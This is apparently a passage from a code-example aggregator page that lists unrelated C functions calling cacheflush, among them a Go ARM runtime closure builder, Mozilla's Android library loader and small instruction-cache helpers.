		drawop(tmp, tmp->r, im, nil, im->r.min, S);
		freeimage(im);
		im = tmp;
	}

	switch(angle){
	case 90:
		im = rot90(im);
		break;
	case 180:
		rot180(im);
		break;
	case 270:
		im = rot270(im);
		break;
	}
	if(im == nil)
		goto Flush;

	c->doc = doc;
	c->page = page;
	c->angle = angle;
	c->im = im;

Found:
	if(chatty) fprint(2, "cache%s mtf %d @%d:", ra, c->page, i);
	old = *c;
	memmove(cache+1, cache, (c-cache)*sizeof cache[0]);
	cache[0] = old;
	if(chatty){
		for(i=0; i<nelem(cache); i++)
			fprint(2, " %d", cache[i].page);
		fprint(2, "\n");
	}
	if(chatty) fprint(2, "cache%s return %d %p\n", ra, old.page, old.im);
	return old.im;
}
Пример #18
0
void
runtime·closure(int32 siz, byte *fn, byte *arg0)
{
	byte *p, *q, **ret;
	uint32 *pc;
	int32 n;

	if(siz < 0 || siz%4 != 0)
		runtime·throw("bad closure size");

	ret = (byte**)((byte*)&arg0 + siz);

	if(siz > 100) {
		// TODO(kaib): implement stack growth preamble?
		runtime·throw("closure too big");
	}

	// size of new fn.
	// must match code laid out below.
	if (siz > 0)
		n = 6 * 4 + 7 * 4;
	else
		n = 6 * 4;

	// store args aligned after code, so gc can find them.
	n += siz;

	p = runtime·mal(n);
	*ret = p;
	q = p + n - siz;

	pc = (uint32*)p;

	//	MOVW.W	R14,-frame(R13)
	*pc++ = 0xe52de000 | (siz + 4);

	if(siz > 0) {
		runtime·mcpy(q, (byte*)&arg0, siz);

		//	MOVW	$vars(PC), R0
		*pc = 0xe28f0000 | (int32)(q - (byte*)pc - 8);
		pc++;

		//	MOVW	$4(SP), R1
		*pc++ = 0xe28d1004;

		//	MOVW	$siz(R0), R3
		*pc++ = 0xe2803000 | siz;

		//	MOVW.P	4(R0), R4
		*pc++ = 0xe4904004;
		//	MOVW.P	R4, 4(R1)
		*pc++ = 0xe4814004;
		//	CMP		R0, R3
		*pc++ = 0xe1530000;
		//	BNE		loop
		*pc++ = 0x1afffffb;
	}

	//	MOVW	fptr(PC), R0
	*pc = 0xe59f0008 | (int32)((q - 4) -(byte*) pc - 8);
	pc++;

	//	BL		(R0)
	*pc++ = 0xe28fe000;
	*pc++ = 0xe280f000;

	//	MOVW.P	frame(R13),R15
	*pc++ = 0xe49df000 | (siz + 4);

	//	WORD	*fn
	*pc++ = (uint32)fn;

	p = (byte*)pc;

	if(p > q)
		runtime·throw("bad math in sys.closure");

	runtime·cacheflush(*ret, q+siz);
}
Пример #19
0
void entre_executable_flush(void)
{
	cacheflush(Executable.pCodeStart, Executable.pCodeEnd-Executable.pCodeStart, ICACHE);
}
Пример #20
0
static void * mozload(const char * path, void *zip,
                      struct cdir_entry *cdir_start, uint16_t cdir_entries)
{
#ifdef DEBUG
  struct timeval t0, t1;
  gettimeofday(&t0, 0);
#endif

  struct cdir_entry *entry = find_cdir_entry(cdir_start, cdir_entries, path);
  struct local_file_header *file = (struct local_file_header *)((char *)zip + letoh32(entry->offset));
  void * data = ((char *)&file->data) + letoh16(file->filename_size) + letoh16(file->extra_field_size);
  void * handle;

  if (extractLibs) {
    char fullpath[PATH_MAX];
    snprintf(fullpath, PATH_MAX, "%s/%s", getenv("CACHE_PATH"), path);
    __android_log_print(ANDROID_LOG_ERROR, "GeckoLibLoad", "resolved %s to %s", path, fullpath);
    extractFile(fullpath, entry, data);
    handle = __wrap_dlopen(fullpath, RTLD_LAZY);
    if (!handle)
      __android_log_print(ANDROID_LOG_ERROR, "GeckoLibLoad", "Couldn't load %s because %s", fullpath, __wrap_dlerror());
#ifdef DEBUG
    gettimeofday(&t1, 0);
    __android_log_print(ANDROID_LOG_ERROR, "GeckoLibLoad", "%s: spent %d", path,
                        (((long long)t1.tv_sec * 1000000LL) +
                          (long long)t1.tv_usec) -
                        (((long long)t0.tv_sec * 1000000LL) +
                          (long long)t0.tv_usec));
#endif
    return handle;
  }

  size_t offset = letoh32(entry->offset) + sizeof(*file) + letoh16(file->filename_size) + letoh16(file->extra_field_size);
  bool skipLibCache = false;
  int fd = zip_fd;
  void * buf = NULL;
  uint32_t lib_size = letoh32(entry->uncompressed_size);
  int cache_fd = 0;
  if (letoh16(file->compression) == DEFLATE) {
    cache_fd = lookupLibCacheFd(path);
    fd = cache_fd;
    if (fd < 0)
      fd = createAshmem(lib_size, path);
#ifdef DEBUG
    else
      __android_log_print(ANDROID_LOG_ERROR, "GeckoLibLoad", "Loading %s from cache", path);
#endif
    if (fd < 0) {
      __android_log_print(ANDROID_LOG_ERROR, "GeckoLibLoad", "Couldn't open " ASHMEM_NAME_DEF ", Error %d, %s, bailing out", errno, strerror(errno));
      return NULL;
    }
    buf = mmap(NULL, lib_size,
               PROT_READ | PROT_WRITE,
               MAP_SHARED, fd, 0);
    if (buf == (void *)-1) {
      __android_log_print(ANDROID_LOG_ERROR, "GeckoLibLoad", "Couldn't mmap decompression buffer");
      close(fd);
      return NULL;
    }

    offset = 0;

    if (cache_fd < 0) {
      extractLib(entry, data, buf);
#ifdef ANDROID_ARM_LINKER
      /* We just extracted data that is going to be executed in the future.
       * We thus need to ensure Instruction and Data cache coherency. */
      cacheflush((unsigned) buf, (unsigned) buf + entry->uncompressed_size, 0);
#endif
      addLibCacheFd(path, fd, lib_size, buf);
    }

    // preload libxul, to avoid slowly demand-paging it
    if (!strcmp(path, "libxul.so"))
      madvise(buf, entry->uncompressed_size, MADV_WILLNEED);
    data = buf;
  }

#ifdef DEBUG
  __android_log_print(ANDROID_LOG_ERROR, "GeckoLibLoad", "Loading %s with len %d (0x%08x) and offset %d (0x%08x)", path, lib_size, lib_size, offset, offset);
#endif

  handle = moz_mapped_dlopen(path, RTLD_LAZY, fd, data,
                             lib_size, offset);
  if (!handle)
    __android_log_print(ANDROID_LOG_ERROR, "GeckoLibLoad", "Couldn't load %s because %s", path, __wrap_dlerror());

  if (buf)
    munmap(buf, lib_size);

#ifdef DEBUG
  gettimeofday(&t1, 0);
  __android_log_print(ANDROID_LOG_ERROR, "GeckoLibLoad", "%s: spent %d", path, (((long long)t1.tv_sec * 1000000LL) + (long long)t1.tv_usec) -
               (((long long)t0.tv_sec * 1000000LL) + (long long)t0.tv_usec));
#endif

  return handle;
}
Пример #21
0
void clear_insn_cache(void* start, void* end, int flags)
{
  cacheflush(start, end-start, ICACHE);
}